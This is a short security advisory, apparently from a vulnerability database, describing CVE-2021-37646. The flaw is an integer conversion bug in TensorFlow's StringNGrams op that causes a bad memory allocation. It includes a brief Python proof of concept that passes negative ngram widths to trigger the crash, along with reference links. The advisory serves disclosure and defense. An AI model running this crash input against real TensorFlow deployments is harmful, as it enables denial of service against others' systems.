CVE-2021-37646: Bad alloc in `StringNGrams` caused by integer conversion
(updated )
The implementation of tf.raw_ops.StringNGrams
is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value.
import tensorflow as tf
tf.raw_ops.StringNGrams(
data=['',''],
data_splits=[0,2],
separator=' '*100,
ngram_widths=[-80,0,0,-60],
left_pad=' ',
right_pad=' ',
pad_width=100,
preserve_short_sequences=False)
References
- github.com/advisories/GHSA-h6jh-7gv5-28vg
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-559.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-757.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-268.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5
- github.com/tensorflow/tensorflow/security/advisories/GHSA-h6jh-7gv5-28vg
- nvd.nist.gov/vuln/detail/CVE-2021-37646
Detect and mitigate CVE-2021-37646 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →